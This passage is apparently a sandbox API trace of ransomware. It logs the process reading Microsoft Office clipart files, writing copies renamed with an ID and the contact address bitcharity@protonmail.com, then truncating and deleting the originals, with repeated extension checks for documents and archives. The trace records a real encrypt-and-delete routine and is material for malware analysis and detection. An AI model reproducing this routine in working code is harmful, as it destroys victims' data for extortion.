(hObject=0x10d8) returned 1 [0152.869] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.869] SetEndOfFile (hFile=0x10d0) returned 1 [0152.870] CloseHandle (hObject=0x10d0) returned 1 [0152.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0152.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.871] lstrlenW (lpString=".doc") returned 4 [0152.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.871] lstrlenW (lpString=".docx") returned 5 [0152.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.871] lstrlenW (lpString=".pdf") returned 4 [0152.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.871] lstrlenW (lpString=".xls") returned 4 [0152.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.872] lstrlenW (lpString=".xlsx") returned 5 [0152.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.872] lstrlenW (lpString=".ppt") returned 4 [0152.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.872] lstrlenW (lpString=".zip") returned 4 [0152.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.872] lstrlenW (lpString=".rar") returned 4 [0152.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.872] lstrlenW (lpString=".bz2") returned 4 [0152.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.872] lstrlenW (lpString=".7z") returned 3 [0152.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.872] lstrlenW (lpString=".dbf") returned 4 [0152.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.872] lstrlenW (lpString=".1cd") returned 4 [0152.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.872] lstrlenW (lpString=".jpg") returned 4 [0152.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.873] lstrlenW (lpString=".doc") returned 4 [0152.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString=".docx") returned 5 [0152.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.873] lstrlenW (lpString=".pdf") returned 4 [0152.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString=".xls") returned 4 [0152.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.873] lstrlenW (lpString=".xlsx") returned 5 [0152.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.873] lstrlenW (lpString=".ppt") returned 4 [0152.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.873] lstrlenW (lpString=".zip") returned 4 [0152.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.873] lstrlenW (lpString=".rar") returned 4 [0152.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString=".bz2") returned 4 [0152.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString=".7z") returned 3 [0152.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.873] lstrlenW (lpString=".dbf") returned 4 [0152.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.873] lstrlenW (lpString=".1cd") returned 4 [0152.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0152.874] lstrlenW (lpString=".jpg") returned 4 [0152.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.874] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.874] lstrlenW (lpString="BD08773_.WMF") returned 12 [0152.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.874] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=24778) returned 1 [0152.874] CloseHandle (hObject=0x10d0) returned 1 [0152.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0152.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.875] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.875] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.875] GetLastError () returned 0x0 [0152.875] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0152.901] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0152.903] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.903] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.903] SetEndOfFile (hFile=0x10d8) returned 1 [0152.903] CloseHandle (hObject=0x10d8) returned 1 [0152.905] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.905] SetEndOfFile (hFile=0x10d0) returned 1 [0152.906] CloseHandle (hObject=0x10d0) returned 1 [0152.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.907] lstrlenW (lpString=".doc") returned 4 [0152.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString=".docx") returned 5 [0152.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.907] lstrlenW (lpString=".pdf") returned 4 [0152.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString=".xls") returned 4 [0152.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.907] lstrlenW (lpString=".xlsx") returned 5 [0152.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.907] lstrlenW (lpString=".ppt") returned 4 [0152.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.907] lstrlenW (lpString=".zip") returned 4 [0152.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.907] lstrlenW (lpString=".rar") returned 4 [0152.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".bz2") returned 4 [0152.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".7z") returned 3 [0152.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.908] lstrlenW (lpString=".dbf") returned 4 [0152.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.908] lstrlenW (lpString=".1cd") returned 4 [0152.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.908] lstrlenW (lpString=".jpg") returned 4 [0152.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.908] lstrlenW (lpString=".doc") returned 4 [0152.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".docx") returned 5 [0152.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.908] lstrlenW (lpString=".pdf") returned 4 [0152.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".xls") returned 4 [0152.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.909] lstrlenW (lpString=".xlsx") returned 5 [0152.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.909] lstrlenW (lpString=".ppt") returned 4 [0152.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.909] lstrlenW (lpString=".zip") returned 4 [0152.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.909] lstrlenW (lpString=".rar") returned 4 [0152.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.909] lstrlenW (lpString=".bz2") returned 4 [0152.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.909] lstrlenW (lpString=".7z") returned 3 [0152.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.909] lstrlenW (lpString=".dbf") returned 4 [0152.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.909] lstrlenW (lpString=".1cd") returned 4 [0152.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0152.909] lstrlenW (lpString=".jpg") returned 4 [0152.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.910] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.910] lstrlenW (lpString="BD08808_.WMF") returned 12 [0152.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.910] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=47996) returned 1 [0152.910] CloseHandle (hObject=0x10d0) returned 1 [0152.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0152.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.911] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.911] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.911] GetLastError () returned 0x0 [0152.911] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0152.947] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0152.949] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.949] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.950] SetEndOfFile (hFile=0x10d8) returned 1 [0152.950] CloseHandle (hObject=0x10d8) returned 1 [0152.952] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.952] SetEndOfFile (hFile=0x10d0) returned 1 [0152.953] CloseHandle (hObject=0x10d0) returned 1 [0152.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0152.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.954] lstrlenW (lpString=".doc") returned 4 [0152.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.954] lstrlenW (lpString=".docx") returned 5 [0152.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.954] lstrlenW (lpString=".pdf") returned 4 [0152.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.954] lstrlenW (lpString=".xls") returned 4 [0152.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.954] lstrlenW (lpString=".xlsx") returned 5 [0152.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.954] lstrlenW (lpString=".ppt") returned 4 [0152.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.955] lstrlenW (lpString=".zip") returned 4 [0152.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.955] lstrlenW (lpString=".rar") returned 4 [0152.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".bz2") returned 4 [0152.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".7z") returned 3 [0152.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.955] lstrlenW (lpString=".dbf") returned 4 [0152.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.955] lstrlenW (lpString=".1cd") returned 4 [0152.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.955] lstrlenW (lpString=".jpg") returned 4 [0152.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.955] lstrlenW (lpString=".doc") returned 4 [0152.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".docx") returned 5 [0152.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.955] lstrlenW (lpString=".pdf") returned 4 [0152.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".xls") returned 4 [0152.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.956] lstrlenW (lpString=".xlsx") returned 5 [0152.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.956] lstrlenW (lpString=".ppt") returned 4 [0152.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.956] lstrlenW (lpString=".zip") returned 4 [0152.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.956] lstrlenW (lpString=".rar") returned 4 [0152.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString=".bz2") returned 4 [0152.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString=".7z") returned 3 [0152.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.956] lstrlenW (lpString=".dbf") returned 4 [0152.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.956] lstrlenW (lpString=".1cd") returned 4 [0152.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0152.956] lstrlenW (lpString=".jpg") returned 4 [0152.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.957] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.957] lstrlenW (lpString="BD09194_.WMF") returned 12 [0152.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.958] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=14540) returned 1 [0152.958] CloseHandle (hObject=0x10d8) returned 1 [0152.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0152.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.960] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.960] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0152.961] GetLastError () returned 0x0 [0152.961] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0152.990] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0152.992] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.992] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.992] SetEndOfFile (hFile=0x1098) returned 1 [0152.993] CloseHandle (hObject=0x1098) returned 1 [0152.995] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.995] SetEndOfFile (hFile=0x1084) returned 1 [0152.996] CloseHandle (hObject=0x1084) returned 1 [0152.996] SetFileAttributesW (lpFileName="C:\\Program 